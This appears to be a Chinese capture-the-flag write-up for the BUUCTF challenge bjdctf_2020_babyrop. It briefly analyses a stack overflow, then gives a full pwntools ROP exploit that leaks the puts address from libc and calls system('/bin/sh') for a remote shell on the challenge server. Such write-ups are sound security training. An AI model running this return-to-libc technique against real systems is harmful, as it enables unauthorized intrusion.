BUUCTF—bjdctf_2020_babyrop
先看看开了什么保护机制
打开64位ida看看
去init函数看看
看这个是不是要泄露libc啊
再去vuln函数看看
一个栈溢出,那么我们去看看后门函数
好家伙,后门函数、system、/bin/sh是一个没有啊
没有地址随机化,那么我们的思路就是libc泄露了
找到pop rdi和ret,那么剩下的就是常规libc地址泄露了
from pwn import*
p=remote('node4.buuoj.cn',25243)
elf=ELF('./babyrop')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi=0x400733
ret=0x4004c9
main=0x4006ad
p.recvuntil('story!\n')
payload=b'a'*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload)
puts_add=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_add))
system=puts_add-0x2a300
binsh=puts_add+0x11d6c7
p.recvuntil('story!\n')
payload=b'a'*0x28+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main)
p.sendline(payload)
p.interactive()